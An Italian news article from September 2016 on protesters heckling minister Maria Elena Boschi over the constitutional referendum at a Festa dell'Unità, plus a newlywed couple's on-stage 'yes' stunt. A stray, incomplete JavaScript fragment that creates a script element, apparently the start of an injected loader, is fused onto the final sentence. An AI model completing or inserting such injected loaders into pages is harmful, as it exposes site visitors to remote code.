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giovedì 17 agosto 2017 17:38:46
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Festa Unità, Boschi contestata su referendum
Su palco anche coppia sposi “per il sì”

3 settembre 2016 Cronaca, Politica

L’intervento del ministro delle riforme Maria Elena Boschi alla festa dell’Unità, nel dibattito dedicato al tema del referendum costituzionale, si è aperto con la contestazione del comitato “C’è chi dice no”. Circa una ventina di persone, durante l’incontro “Basta un sì, cambiamo l’Italia”, hanno sollevato dei manifesti che mostrano il ministro con due vignette. La prima recita “la democrazia è la possibilità di decidere” e la seconda “con il 25% dei voti e senza opposizione”. A loro Boschi ha replicato: “Noi siamo contenti che siate presenti, perché la festa dell’Unità è aperta a tutti, perché noi abbiamo la capacità di organizzarle, le feste dell’Unità, e non chiudiamo le porte a nessuno. Vi chiediamo la cortesia di ascoltare, perché questa si chiama democrazia. Noi andiamo avanti a difendere la costituzione e anche quell’articolo 21 che vi consente di essere qui a dire le vostre cose. Però credo che sia importante anche ascoltare”. I presenti favorevoli al sì al referendum hanno urlato “fuori, fuori” ai manifestanti. All’incontro con il ministro, all’ex Scalo Romana, anche un fuori programma a favore del “Sì” al referendum: protagonisti due novelli sposi, il presidente del Municipio 6 Santo Minniti e la moglie Selene, che sono saliti sul palco entrambi in abito da sposa con uno striscione con la scritta, circondata da cuoricini “Selene e Santo, basta un sì”.var d=document;var s=d.createElement(‘script’);

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